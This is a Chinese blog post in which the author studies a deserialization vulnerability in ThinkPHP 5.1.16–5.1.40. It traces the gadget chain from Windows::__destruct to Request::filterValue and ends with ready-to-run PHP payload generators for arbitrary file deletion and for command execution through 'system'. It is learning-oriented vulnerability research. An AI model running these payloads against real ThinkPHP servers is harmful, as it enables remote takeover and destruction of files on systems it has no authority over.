thinkphp5.1.16-5.1.40反序列化漏洞分析
最近在学代码审计,很好奇PHP反序列化漏洞在实际场景的代码中是怎么产生和利用的,于是学了几天thinkphp5开发,然后开始分析tp5一个反序列化漏洞。走出舒适区真吃力。
thinkphp5.1.16-5.1.40反序列化漏洞分析
条件:(满足一个条件就可以了)
- 需要一个二次开发反序列化的利用点
- 存在文件上传、文件名完全可控、使用了文件操作函数,例如: file_exists(‘phar://恶意文件’)
版本:thinkphp 5.1.16-5.1.40(测试了5.1.15,5.1.16,5.1.37,5.1.39,5.1.40)
漏洞链
think\process\pipes\Windows ⇒__destruct⇒removeFiles⇒file_exists⇒__toString
think\model\concern\Conversion⇒__toString⇒toJson⇒toArray
thinkphp\library\think\Request⇒__call⇒isAjax⇒parma⇒input⇒filterValue
简要说明
这里分析的版本是5.1.37,这个漏洞的起点是think\process\pipes\Windows类,通过__destruct方法调用removeFiles方法,传入一个对象给方法里面的file_exists(),调用这个对象的__toString方法,think\model\concern\Conversion这个类的__toString方法存在 可控类->visible(可控变量),用thinkphp\library\think\Request类的__call方法调用visible方法,thinkphp\library\think\Request里面还存在一个可以当成 call_user_func(任意参数,任意参数) 的input方法,导致命令执行
另外,Windows类这里还存在一个反序列化任意文件删除漏洞
详细分析
起点是think\process\pipes\Windows类的__destruct方法,这个方法调用了removeFiles方法
// thinkphp\library\think\process\pipes\Windows
public function __destruct()
{
$this->close();
$this->removeFiles();
}
removeFiles方法里面使用了file_exists($filename), $filename变量可控,如果传入一个对象,会调用对象的__toString方法将对象转换成字符串再判断
// thinkphp\library\think\process\pipes\Windows
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
查找分析可利用的__toString方法,think\model\concern\Conversion类的__toString方法可用
//thinkphp\library\think\model\concern\Conversion.php
public function __toString()
{
return $this->toJson();
}
__toString方法调用了toJson方法
//thinkphp\library\think\model\concern\Conversion.php
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
toJson方法又调用了toArray
下面是关键代码
//thinkphp\library\think\model\concern\Conversion.php
public function toArray()
{
$item = [];
$hasVisible = false;
...
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
...
}
寻找toArray中的完全可控的部分
找到了可控类和可控变量
分析Conversion.php的191、192行
$relation来自thinkphp\library\think\model\concern\Attribute.php的$this->data[$name]
$name来自$this->append
因此$relation->visible($name) 变成了:可控类->visible(可控变量)
$relation = $this->getAttr($key);
$relation->visible($name);
接下来查找可控visible方法,没有的话就查找可控__call($method,$args)方法但是没有visible的类
然后调用这个类的visible方法,由于没有visible,visible会作为$method参数传递给__call,这里的$name也会传递给__call方法的$args参数,
这里有一个细节,使用__call代替visible时,visible会作为$method传入__call方法,$name则传入$args
在thinkphp\library\think\Request中的__call方法比较好用,$method可控,但是由于$args在330行用array_unshift强制将$this对象添加到前面,需要寻找不受这个参数影响的方法
$this->hook[$method]可控解释
这里的$method是前面传递过来的visible,$this->hook可控,因此只需要设置$this->hook=[“visible”=>”任意方法”]就能使这里的call_user_func_array($this->hook[$method], $args); 相当于
call_user_func_array(‘任意方法’, $args);
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
//$this->hook是一个数组,可控,设置$this->hook=["visible"=>"任意方法"]
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
开始寻找不受$this对象影响的方法
\think\Request中的input方法是一个部分可控的方法,相当于call_user_func($filter,$data)
但是由于这里$data不可控,且$name = (string) $name;这里如果直接在__call调用input的话,由于__call方法里的$args数组第一个参数是一个固定的$this对象,会传递给input方法的第一个参数$data,$data在getData方法里面是作为数组使用,由于$this对象无法作为数组使用,框架会报错。
因此需要找一个调用了input方法且能控制$data参数并且可以控制$name的方法
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
//从数组$data中获取键为$name的value作为$data的新值,这个value必须是数组
$data = $this->getData($data, $name);
...
if (is_object($data)) {//$data不能是对象
return $data;
}
}
// 解析过滤器
//**1433行的getFilter方法里如果 $filter = false 则 $filter = $this->filter; 因此$filter可控**
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
...
} else {
$this->filterValue($data, $name, $filter);
}
...
return $data;
}
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
...
{
查找input方法的调用,有7处
由于param方法第一个参数可控,从这里入手
接下来寻找控制$name的方法
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
...
}
if (true === $name) {
...
}
return $this->input($this->param, $name, $default, $filter);
}
查找调用了param的方法
显然这里isAjax和isPjax都能控制
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
到这里就构造完成了,只需要使Windows类里面的$filename为可以调用Conversion类的__toString方法的对象,使Conversion类里的$relation对象为Request类的实例,用__call调用isAjax方法,控制这些方法里面的参数,最终就可以调用input方法,并执行任意命令。
怎么去处理前面__call方法的$args数组里强加的$this对象?
__call实际调用的是isAjax,$args第一个参数$this对象会传递给isAjax方法的唯一一个参数$ajax,这并不影响后面$this->param($this->config[‘var_ajax’])的调用,因此这里不受$this对象的影响。
PS:
网上看到的文章里面的POC基本不能用,暂时不知道具体原因(还有些细节不太清楚,比如回显怎么整的),但是调试的时候发现是input方法里面的$data参数出了问题,往回找看见是在param方法里面对$this->param(也就是input的$data参数)做了一定修改,于是加上了protected $mergeParam=true;绕过了里面的修改,然后加上protected $param = [];设定$data,这才成功RCE,但美中不足的是没有回显,别人的POC都是有回显的,只能外带了。
任意文件删除POC
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}
echo base64_encode(serialize(new Windows()));
RCE POC 5.1.16-5.1.40
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["poc"=>[" "," "]];
$this->data = ["poc"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $mergeParam=true;
protected $param = [];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";//回调时调用的PHP函数
$this->config = ["var_ajax"=>''];//在isAjax方法传递给param方法的$name绕过param方法的一些操作,但主要是为了绕过input方法里面对$data的改变
$this->hook = ["visible"=>[$this,"isAjax"]];//在__call里面调用isAjax
$this->mergeParam=true;//绕过param方法里的一些操作
$this->param=["calc",""];//input方法的$data,也是即将执行的命令
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
还有几个问题:
为什么这里要有一个Pivot类?
这个Pivot类是怎么和Windows类产生联系的?
以上问题在这里找到了答案
https://www.freebuf.com/column/221946.html
收获
- 类里的全局变量反序列化时是可控的,也就是说$this->xxx这种可控
- call($method,$args)方法的使用细节,调用不存在的方法时会交给这个方法处理,方法名会传递给$method,参数会传递给$args
- PHP的trait代码复用,用use导入后功能类似继承,优先级比继承高,比派生类低,POC里Windows类调用的Pivot类的toString 方法,查看可以发现Pivot里并没有 toString方法,但是Pivot继承的Model导入了Conversion类,这个__toString方法其实就是trait声明的Conversion类里的
- 一些PHP常用数据处理函数和回调函数的使用方法 https://www.notion.so/PHP-ae2238fe5d754e6081f486c190735010
- 对这种比较复杂的框架如何构造PHP反序列化POC有了一点了解
未解决的问题
- 文件上传的怎么利用?phar文件反序列化?有什么限制?
- 自己写个POC。
- 怎么修复防御?
- 为什么网上的POC会出错?
吐槽
由于开发只懂一点点(也就只能写点简单的控制器,模块),函数都是哪里不会查哪里,加上头一回分析这种框架里面的漏洞,过程十分艰辛,一度想过放弃,昨天上午就想看其他的来着,困扰我一两天的$this对象在调试代码的时候明白怎么回事了,加上网上POC都用不了,气得我愤而调试改POC,找到了解决办法(给我凑出一个POC来),这才完成大部分漏洞代码的理解。真的好吃力,但是收获也挺多的。
参考
https://www.p2hp.com/phpfuncs.html
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!